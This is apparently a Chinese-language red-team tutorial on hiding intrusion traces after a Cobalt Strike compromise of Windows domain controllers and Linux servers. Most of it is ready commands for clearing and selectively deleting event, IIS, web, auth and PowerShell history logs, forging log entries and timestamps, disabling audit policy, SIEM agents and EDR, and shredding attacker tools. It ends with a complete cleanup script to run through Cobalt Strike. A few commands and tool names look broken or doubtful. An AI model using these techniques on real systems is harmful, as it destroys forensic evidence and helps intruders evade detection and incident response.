目錄
🕵??♂? 一、清理日志的重要性
核心目標
案例:域控滲透后日志暴露
🖥? 二、Windows系統日志清理
1. 事件日志(Event Logs)
2. Web日志(IIS Logs)
3. PowerShell日志
4. 其他日志
🐧 三、Linux系統日志清理
1. 系統日志(Syslog)
2. 認證日志(Auth Logs)
3. Web服務器日志
4. 其他日志
🗑? 四、刪除攻擊工具與文件
1. Windows系統
2. Linux系統
🔐 五、高級紅隊對抗技術
1. 日志輪轉與時間戳
2. 規避SIEM與EDR
3. 內存痕跡清理
4. 網絡流量規避
5. 文件系統元數據
📖 六、其余知識點
1. Windows事件日志恢復
2. Linux日志符號鏈接
3. 審計策略調整
4. SSD安全刪除
5. EDR對抗
🛠? 七、紅隊清理腳本示例
📊 八、總結與紅隊建議
在紅隊行動中,清理日志和攻擊痕跡是確保隱匿性和長期控制目標系統的關鍵步驟。
🕵??♂? 一、清理日志的重要性
日志清理是紅隊行動的最后一步,旨在隱藏攻擊痕跡、規避溯源并維持持久化訪問。未清理的日志可能暴露攻擊者的IP、工具、行為甚至身份,尤其在滲透域控主機后,日志清理尤為關鍵,因為域控記錄了整個網絡的核心活動。
核心目標
-
隱藏痕跡:防止管理員或安全工具(如SIEM、EDR)檢測異常。
-
規避溯源:降低被追蹤到C2服務器或真實身份的風險。
-
維持控制:通過清理痕跡,確保長期隱匿訪問。
案例:域控滲透后日志暴露
在一場紅隊演習中,攻擊者通過Cobalt Strike成功提權至域控,但未清理安全日志(Security Log)。藍隊通過分析事件ID 4624(登錄成功)和ID 4672(權限分配),發現了異常的RDP登錄和權限提升行為,最終溯源至C2服務器。因此,日志清理是紅隊行動的必備環節。
🖥? 二、Windows系統日志清理
假設通過Cobalt Strike滲透了一臺Windows域控服務器,以下是主要日志類型及清理方法,結合實戰案例。
1. 事件日志(Event Logs)
事件日志記錄系統活動(如登錄、權限更改),分為系統日志(System)、安全日志(Security)和應用程序日志(Application)。
清理方法:
-
使用
wevtutil
清空日志:wevtutil cl System wevtutil cl Security wevtutil cl Application
-
通過PowerShell:
Clear-EventLog -LogName System, Security, Application
-
高級技巧:選擇性刪除特定事件(如事件ID 4624)以降低SIEM警報觸發概率:
wevtutil qe Security /q:"*[System[(EventID=4624)]]" | Remove-Item
案例:在一臺域控服務器上,攻擊者使用wevtutil cl Security
清空安全日志,但觸發了SIEM的“日志清空”警報。改進方案是使用PowerShell腳本選擇性刪除特定登錄事件,偽造正常活動日志以混淆藍隊。
2. Web日志(IIS Logs)
如果目標運行IIS,Web請求日志可能暴露C2通信的IP或URL。
清理方法:
-
刪除日志文件(默認路徑:
C:\inetpub\logs\LogFiles
):del /f /q "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log"
-
禁用IIS日志記錄(臨時):
Set-WebConfigurationProperty -Filter "system.webServer/httpLogging" -Name dontLog -Value $true
案例:攻擊者通過IIS服務器的WebShell執行C2命令,未清理access.log
,導致藍隊通過日志中的異常POST請求定位了C2域名。清理后,攻擊者通過禁用日志記錄進一步降低暴露風險。
3. PowerShell日志
Cobalt Strike常通過PowerShell執行命令,歷史記錄可能泄露攻擊細節。
清理方法:
-
刪除PowerShell歷史文件:
del /f /q "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
-
禁用PowerShell日志記錄:
Set-PSReadLineOption -HistorySaveStyle SaveNothing
案例:攻擊者通過PowerShell執行了Cobalt Strike的Beacon加載命令,未清理歷史文件,導致藍隊在ConsoleHost_history.txt
中發現了Invoke-WebRequest
調用C2的記錄。清理后,攻擊者通過禁用日志規避了類似問題。
4. 其他日志
-
RDP日志:清理遠程桌面連接記錄:
wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
-
Sysmon日志(若安裝):
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
-
DNS日志(若域控兼任DNS服務器):
del /f /q "C:\Windows\System32\dns\dns.log"
-
Windows Defender日志:
del /f /q "C:\ProgramData\Microsoft\Windows Defender\Support\*.log"
擴展知識點:Sysmon日志可能記錄詳細的進程創建和網絡連接,清理時需檢查其配置文件以確認日志路徑。若目標使用EDR(如CrowdStrike),需通過內存注入繞過其監控。
🐧 三、Linux系統日志清理
假設通過Cobalt Strike滲透了一臺Linux Web服務器,以下是日志清理步驟。
1. 系統日志(Syslog)
記錄系統事件,通常位于/var/log/syslog
或/var/log/messages
。
清理方法:
-
清空文件:
> /var/log/syslog
-
刪除輪轉日志:
rm -f /var/log/syslog.*
案例:攻擊者在Linux服務器上部署了后門,未清理/var/log/messages
,導致藍隊發現了異常的sshd
登錄記錄。清理后,攻擊者通過偽造日志內容(如寫入正常登錄記錄)混淆取證。
2. 認證日志(Auth Logs)
記錄登錄和sudo操作,位于/var/log/auth.log
。
清理方法:
-
清空文件:
> /var/log/auth.log
-
刪除備份:
rm -f /var/log/auth.log.*
3. Web服務器日志
-
Apache:
rm -f /var/log/apache2/access.log rm -f /var/log/apache2/error.log
-
Nginx:
rm -f /var/log/nginx/access.log rm -f /var/log/nginx/error.log
4. 其他日志
-
內核日志:
> /var/log/kern.log
-
Cron日志:
> /var/log/cron.log
-
數據庫日志(如MySQL):
rm -f /var/log/mysql/error.log
擴展知識點:Linux日志可能是符號鏈接,清理前需確認實際文件路徑:
ls -l /var/log/syslog
若目標使用rsyslog將日志同步到遠程服務器,需通過提權修改/etc/rsyslog.conf
禁用遠程日志。
🗑? 四、刪除攻擊工具與文件
清理上傳的木馬、后門或臨時文件是隱藏痕跡的關鍵。
1. Windows系統
-
惡意文件:
del /f /q "C:\path\to\malicious.exe"
-
臨時文件:
del /f /q "%TEMP%\*.*"
-
注冊表項(如持久化后門):
reg delete "HKLM\Software\MaliciousKey" /f
-
安全刪除(覆蓋文件內容):
cipher /w:C:\path\to\file
案例:攻擊者上傳了Cobalt Strike Beacon至%TEMP%
,未清理被Defender掃描發現。改進方案是使用cipher
覆蓋文件內容后刪除。
2. Linux系統
-
惡意文件:
rm -f /path/to/malicious.sh
-
臨時文件:
rm -rf /tmp/*
-
Crontab條目:
crontab -r
-
安全刪除:
shred -u /path/to/file
案例:攻擊者在/tmp
部署了后門腳本,未清理被藍隊通過文件時間戳發現。改進方案是使用shred
覆蓋后刪除。
🔐 五、高級紅隊對抗技術
從紅隊高級視角,清理痕跡需關注以下細節。
1. 日志輪轉與時間戳
-
問題:清空日志可能留下時間空白,觸發SIEM警報。
-
解決:偽造日志內容,保持時間戳一致:
echo "Normal activity" >> /var/log/syslog touch -t 202506221200 /var/log/syslog
2. 規避SIEM與EDR
-
問題:SIEM可能同步日志至遠程服務器,EDR(如CrowdStrike)實時監控。
-
解決:
-
禁用EDR進程(如通過內存注入修改其行為)。
-
修改SIEM客戶端配置(如
/etc/splunk/inputs.conf
)。
-
-
案例:攻擊者清空本地日志,但Splunk已同步數據至遠程服務器。改進方案是提權后禁用Splunk Agent。
3. 內存痕跡清理
-
問題:Cobalt Strike的內存注入可能在RAM中留下痕跡。
-
解決:通過重啟清除內存(需權衡持久化需求)或使用內存擦除工具(如MemoryZeus)。
-
案例:藍隊通過內存取證發現了Beacon的內存特征,攻擊者通過重啟規避了檢測。
4. 網絡流量規避
-
問題:IDS/IPS記錄了C2流量。
-
解決:使用代理、VPN或Tor隱藏流量,結合加密協議(如WebSocket)降低特征暴露。
-
案例:攻擊者的HTTP C2流量被IDS攔截,改進方案是切換至DNS隧道。
5. 文件系統元數據
-
問題:刪除文件后,元數據可能被恢復。
-
解決:使用
cipher
(Windows)或shred
(Linux)覆蓋內容。
📖 六、其余知識點
1. Windows事件日志恢復
-
問題:專業取證工具(如Event Log Explorer)可能恢復已刪除的日志。
-
解決:修改日志文件結構(如覆蓋
C:\Windows\System32\winevt\Logs\*.evtx
)。
2. Linux日志符號鏈接
-
問題:日志文件可能是符號鏈接,清理錯誤可能無效。
-
解決:檢查鏈接并清理實際文件:
readlink /var/log/syslog
3. 審計策略調整
-
問題:Windows默認記錄大量事件。
-
解決:修改審計策略減少記錄(謹慎使用,可能觸發警報):
auditpol /set /category:"Logon/Logoff" /success:disable
4. SSD安全刪除
-
問題:SSD上的文件刪除易恢復。
-
解決:使用專業工具(如secure-erase)擦除數據。
5. EDR對抗
-
問題:EDR實時監控可能攔截清理操作。
-
解決:通過內存注入或Hook API(如NtWriteFile)繞過EDR。
🛠? 七、紅隊清理腳本示例
以下是一個簡單的Windows日志清理腳本,供紅隊參考。
# Windows 日志清理腳本 # 清理事件日志 Clear-EventLog -LogName System, Security, Application -ErrorAction SilentlyContinue wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational" wevtutil cl "Microsoft-Windows-Sysmon/Operational" -ErrorAction SilentlyContinue ? # 清理 PowerShell 歷史 Remove-Item -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue ? # 清理 IIS 日志 Remove-Item -Path "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log" -Force -ErrorAction SilentlyContinue ? # 清理臨時文件 Remove-Item -Path "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue ? # 安全刪除指定文件 if (Test-Path "C:\path\to\malicious.exe") {cipher /w:"C:\path\to\malicious.exe"Remove-Item -Path "C:\path\to\malicious.exe" -Force } ? Write-Output "Logs and files cleared successfully."
使用方法:
-
保存為
clear_logs.ps1
。 -
通過Cobalt Strike的PowerShell模塊執行:
powershell -ExecutionPolicy Bypass -File clear_logs.ps1
📊 八、總結與紅隊建議
清理日志和攻擊痕跡是紅隊行動的必備技能,直接影響行動的隱匿性和成功率。通過結合Windows和Linux的清理方法、偽造日志、規避SIEM/EDR以及安全刪除文件,紅隊可顯著降低被檢測的風險。
建議:
-
事前準備:滲透前確認目標的日志配置(如SIEM、EDR)。
-
動態調整:根據環境選擇性清理,避免觸發警報。
-
持續學習:關注最新的EDR和取證技術,優化對抗策略。
-
實踐驗證:在HTB或自建靶場測試清理腳本。